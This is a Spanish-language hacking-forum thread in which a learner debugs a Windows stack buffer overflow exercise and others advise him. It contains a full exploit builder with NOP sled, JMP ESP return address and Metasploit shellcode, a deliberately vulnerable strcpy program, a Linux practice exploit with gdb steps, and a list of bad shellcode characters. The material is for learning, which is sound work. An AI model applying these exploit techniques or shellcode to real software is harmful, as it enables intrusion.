elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:10  


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Problema Con Buffer Overflow
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema Con Buffer Overflow  (Leído 1,094 veces)
Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Problema Con Buffer Overflow
« en: 8 Enero 2011, 20:22 »

Hola a todos.
Es la primera vez que pregunto algo en este foro, espero que puedan ayudarme por que no encontre la respuesta de este problema en ninguna manual que he leido.
El tema es el siguiente estoy aprendiendo los Buffer Overflows, utilizando un programa sacado de una manual sobre el mismo tema.
El programa a los 316 caracteres empieza a sobreescribir el registro EIP, el asunto es que el EIP hace su salto a el offset 7C86467B (JMP ESP - Libreria KERNEL32) pero la shellcode no se ejecuta correctamente debido a que no se abre la shell o el programa que elegi.
El OllyDbg me dice Violacion de acceso al leer 00000032.
Yo vi que la pila no contiene toda la shellcode completa sino una pequeña parte...
Alguna idea sobre el problema?

CODIGO DEL EXPLOIT

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>

using namespace std;

int main(int argc, char *argv[])
{

char shell[] = "\x2b\xc9\xbb\xef\x7a\x3b\xa1\xdb\xc8\xb1\x32\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x13\x03\x5a\x13\x83\xc2\x04\xe2\x1a\x86\xd3\x28"
"\xe4\x77\x24\x4b\x6d\x92\x15\x59\x09\xd6\x04\x6d\x5a\xba\xa4"
"\x06\x0e\x2f\x3e\x6a\x86\x40\xf7\xc1\xf0\x6f\x08\xe4\x3c\x23"
"\xca\x66\xc0\x3e\x1f\x49\xf9\xf0\x52\x88\x3e\xec\x9d\xd8\x97"
"\x7a\x0f\xcd\x9c\x3f\x8c\xec\x72\x34\xac\x96\xf7\x8b\x59\x2d"
"\xf6\xdb\xf2\x3a\xb0\xc3\x79\x64\x60\xf5\xae\x76\x5c\xbc\xdb"
"\x4d\x17\x3f\x0a\x9c\xd8\x71\x72\x73\xe7\xbd\x7f\x8d\x20\x79"
"\x60\xf8\x5a\x79\x1d\xfb\x99\x03\xf9\x8e\x3f\xa3\x8a\x29\x9b"
"\x55\x5e\xaf\x68\x59\x2b\xbb\x36\x7e\xaa\x68\x4d\x7a\x27\x8f"
"\x81\x0a\x73\xb4\x05\x56\x27\xd5\x1c\x32\x86\xea\x7e\x9a\x77"
"\x4f\xf5\x09\x63\xe9\x54\x44\x72\x7b\xe3\x21\x74\x83\xeb\x01"
"\x1d\xb2\x60\xce\x5a\x4b\xa3\xaa\x85\xa9\x61\xc7\x2d\x74\xe0"
"\x6a\x30\x87\xdf\xa9\x4d\x04\xd5\x51\xaa\x14\x9c\x54\xf6\x92"
"\x4d\x25\x67\x77\x71\x9a\x88\x52\x03\x79\x10\x38\x87\xe8\xaa"
"\xc2";

char ret[]= "\x7B\x46\x86\x7C"; /*KERNEL 32.DLL JMP ESP */
   
/*316NOPS */
char nops[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90";


cout << "CREANDO EXPLOIT" << endl;                     
ofstream archivo;
archivo.open("a.txt");
archivo<<nops<<ret<<shell;
archivo.close();
cout << "LISTO !!!" << endl;
cout<<endl<<shell;
system("PAUSE");
}



CODIGO DEL SOFT VULNERABLE

Código:
#include <cstdlib>
#include <iostream>
using namespace std;

int LeerFichero(char *Fbuffer, char *Fnombre, int Limite)
{
int c;
int n=0;
FILE *f;
f=fopen(Fnombre,"r");
while ((c=getc(f))!=EOF)
{
if(n<Limite)
{Fbuffer[n++]=c;}
}
Fbuffer[n++]=0;
fclose(f);
return 0;
}

int FuncionVulnerable(char *cptr)
{
char buff[300] = "Datos";
strcpy(buff,cptr);
printf("%s\n\n",buff);
return 0;
}

int FuncionOculta()
{
printf("Este texto nunca deberia de haberse mostrado");
return 0;
}

int main()
{
char buffer[1000];
char nombre[] = "a.txt";
LeerFichero(buffer,nombre,1000);
FuncionVulnerable(buffer);
return 0;
}

Gracias....
En línea
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: Problema Con Buffer Overflow
« Respuesta #1 en: 8 Enero 2011, 20:32 »

Amigo, si tienes lo de funcion oculta, no te compliques la vida  :P
Otra cosa, tienes ahi el NOP, hazlo con memset xD
Y... a ver si tu shellcode no es correcta, puede ser para otro SP, o otro SO que tmb...  :silbar: la has hecho tu?
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Re: Problema Con Buffer Overflow
« Respuesta #2 en: 8 Enero 2011, 20:54 »

Como es eso de memset? y lo de los nops no entiendo a lo que te referis.
La shellcode salio de metasploit es para ejecutar el editor de registro sino me equivoco.
En línea
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: Problema Con Buffer Overflow
« Respuesta #3 en: 8 Enero 2011, 21:05 »

¿No me digas que usastes Metasploit  >:(? Lo odio, eso no es hacking...
Te explico, hay una funcion usada para llenar la memoria con datos. Yo la uso asi:
Código
#include <stdio.h>
#include <string.h>
 
int main ()
{
char nops [56];
memset (nops, '\x90', 56);
puts (nops);
return 0;
}
 
Código:
gcc -o code code.c
Código:
./code > hola.txt
Código:
hexdump -C hola.txt

Los NOPS son una instruccion del procesador que no hace nada. Se usa para llegar la shellcode... Su valor, como ves, es 0x90.
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Re: Problema Con Buffer Overflow
« Respuesta #4 en: 8 Enero 2011, 23:29 »

A ver si entiendo memset sirver para no tener que andar escribiendo todos los nops no?
Lo de los nops ya sabia para que servian pero gracias.
Bueno alguna idea de por que no anda el exploit?
Como dije la shellcode la creo metasploit supongo que ahi esta el problema, que dicen?
En línea
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: Problema Con Buffer Overflow
« Respuesta #5 en: 9 Enero 2011, 00:35 »

Sep, para rellenar memoria, correcto...
Bueno, Metasploit, ademas de ser muy odiada por mi parte, no funciona muy bien para hacer shellcodes para estos codes caseros... Entonces podriamos hacer mejor nuestro propio exploit xD... Veamos...
Creo que tu code no es que sea muy bueno para hacer la practica... Es copy-paste o lo has hecho tu? No es muy practico xD...
A ver, un code mas sencillo seria:
Código
#include <stdio.h>
#include <string.h>
 
int main (int argc, char *argv [])
{
   if (argc < 2) return 1;
   char buffer [4];
   strcpy (buffer, argv [1]);
   puts (buffer);
   return 0;
}
 
int oculto ()
{
  printf ("Funciona!");
}
 
Entonces si escribimos 4 bytes del buffer + 4 del EBP (ensamblador) solo le metemos 4 mas con el ret... de "oculto ()".
Podemos hacer este exploit...
Código
#include <stdio.h>
#include <string.h>
 
int main ()
{
char  nops [8];
memset (nops, '\x90', 8);
char ret [4] = "\x00\x00\x00\x00"; // Direccion regreso de "oculto"
 
char command [19];
strcpy (command, "./code ");
strcat (command, nops);
strcat (command, ret);
system (command);
 
return 0;
}
 
Bueno, abrimos con GDB y hacemos un break en el puts de ./code:
Código:
gcc -o code code.c -g
gdb -q ./code
break puts
r AAA
x/x buffer
Y copiamos la direccion de "buffer" al reves (orden de bits de red)
Esto es para Linux. Si estas en Windows, leete el texto de Rojodos. Estaba por el "Garage Virtual" o algo asi xD...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Re: Problema Con Buffer Overflow
« Respuesta #6 en: 9 Enero 2011, 00:54 »

Gracias por la ayuda, ando en windows asi que el ejemplo ese no me sirve de mucho.
El texto de rojodos es uno de los que lei, bueno creo que el problema es esa shellcode tengo que aprender a crear la mia propia.
Tienes alguna idea de algun manual que te enseñe a crearlas cualquier tipo de shellcodes?
Aclaracion:El codigo lo saque de un manual...
En línea
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: Problema Con Buffer Overflow
« Respuesta #7 en: 9 Enero 2011, 01:02 »

Tengo un libro muy bueno pero es de Linux, aunque es buenisimo: "Hacking, técnicas fundamentales". Buenisimo...
Para Windows podrias mirar... vi una vez uno en Google, ahora mismo no me acuerdo, mañana lo miro, prueba en Google xD  :rolleyes: lo siento xD
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
pepeluxx


Desconectado Desconectado

Mensajes: 340


Todos los días se aprende algo nuevo


Ver Perfil WWW
Re: Problema Con Buffer Overflow
« Respuesta #8 en: 9 Enero 2011, 12:36 »

Gracias por la ayuda, ando en windows asi que el ejemplo ese no me sirve de mucho.
El texto de rojodos es uno de los que lei, bueno creo que el problema es esa shellcode tengo que aprender a crear la mia propia.
Tienes alguna idea de algun manual que te enseñe a crearlas cualquier tipo de shellcodes?
Aclaracion:El codigo lo saque de un manual...


Echale un ojo a un texto que escribí sobre ese tema. Espero que te ayude

Código:
http://pepelux.org/download.php?f=papers/shellcodes_en_win32.txt
En línea

Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Re: Problema Con Buffer Overflow
« Respuesta #9 en: 10 Enero 2011, 03:08 »

Gracias pepeluxx por el texto, parece estar bueno lo voy a leer y luego te digo que tal.
En línea
Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Re: Problema Con Buffer Overflow
« Respuesta #10 en: 15 Enero 2011, 08:27 »

Pude encontrar el problema como pensaba era la shellcode que contenia caracteres invalidos que el software no podia leer.
Eso hacia que la shellcode se cortase, por ahora se que los caracteres \x00 \x22 \x09 \x20 \x0D \x37 \x1a no deben ser incluidos en la shellcodes algunos gracias al texto de pepelux que por cierto esta muy bueno puede encontrarlos otro tuve que detectarlos.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
buffer overflow ????
Bugs y Exploits
[FüÇk mªn] 4 5,478 Último mensaje 30 Abril 2003, 13:53
por Gawain
Buffer overflow ¿?
Hacking Básico
güindowsout 2 711 Último mensaje 11 Junio 2006, 17:50
por TiT@n
remote buffer overflow
Bugs y Exploits
gmol1 3 1,728 Último mensaje 1 Diciembre 2006, 00:56
por sirdarckcat
buffer overflow
Ingeniería Inversa
Meg 2 2,626 Último mensaje 6 Febrero 2009, 11:20
por Shaddy
Problema para explotar buffer overflow en Windows XP
Bugs y Exploits
Belial & Grimoire 14 4,189 Último mensaje 7 Noviembre 2009, 04:50
por Belial & Grimoire
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines